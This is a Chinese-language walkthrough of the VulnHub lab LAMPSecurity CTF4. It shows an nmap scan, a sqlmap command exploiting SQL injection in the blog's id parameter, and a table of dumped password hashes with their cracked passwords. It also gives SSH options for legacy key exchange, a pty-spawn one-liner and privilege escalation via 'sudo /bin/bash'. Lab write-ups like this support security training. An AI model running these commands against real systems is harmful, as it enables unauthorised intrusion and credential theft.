LAMPSecurity-CTF4
LAMPSecurity-CTF4
来源: vulnhub靶场-LAMPSecurity: CTF4
目标: The idea of the exercise is to compromise the target WITHOUT knowing the username and password.
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
¶环境配置
- kali: 192.168.110.130
- target: 192.168.110.136
咳, 据说这个靶机是2009年做的, 放在现在不能说漏洞百出, 只能说毫无防护
¶信息收集
nmap
# 获取靶机地址 192.168.110.136 |
经过扫描, 端口631和端口25无法连接, 仅有22和80存活. 有新的目录
漏洞扫描扫到一些漏洞, 包括跨站请求伪造csrf、文件遍历、sql注入等
¶80/http
进去之后看不懂. 查看源码, 发现有一个注释掉的路由/usage
仔细看看能不能利用, 发现要缓冲区溢出进行远程命令执行, 那太难受了, 先放一边吧
在点Blog后发现url存在id=2的字样, 结合之前搜到的sql漏洞, 猜测应该就是这里
测试id=5, 出现另一个博文, 加上单引号, 出现sql错误, 所以应该是存在漏洞的
sqlmap -u 'http://192.168.110.136/index.html?page=blog&title=Blog&id=5' --dbs --dump --batch |
在数据库ehks的表user中, 成功发现了几个用户名和密码, 且可以自动破解
user_id | user_name | user_pass |
---|---|---|
1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
5 | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
¶getshell
利用sql注入得到的信息登录ssh, 结果发现不行. 报错提示"没有匹配的key exchange方法",靶机的方法是diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1, 我们需要将这个参数传进去
而ssh -o
的参数中有关于密钥的是KeyAlgorithms, 所以传入结果如下
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.110.136 |
继续报错, 这次是"没有匹配的key type", 添加对应参数即可
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.110.136 |
¶信息收集
# 系统信息 Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux |
所以可以直接利用sudo提权
¶提权
有sudo权限那没什么好说的了
sudo /bin/bash |
官方文档中利用的是文件包含的方式, web的当前目录的/restriced
路径下存在.htpasswd
文件, 记录了账号密码
htpasswd是apache的一个组件, 用于http验证, 但其实.htpasswd
文件并不存在默认路径, 这个restriced路径大概率是自己定义的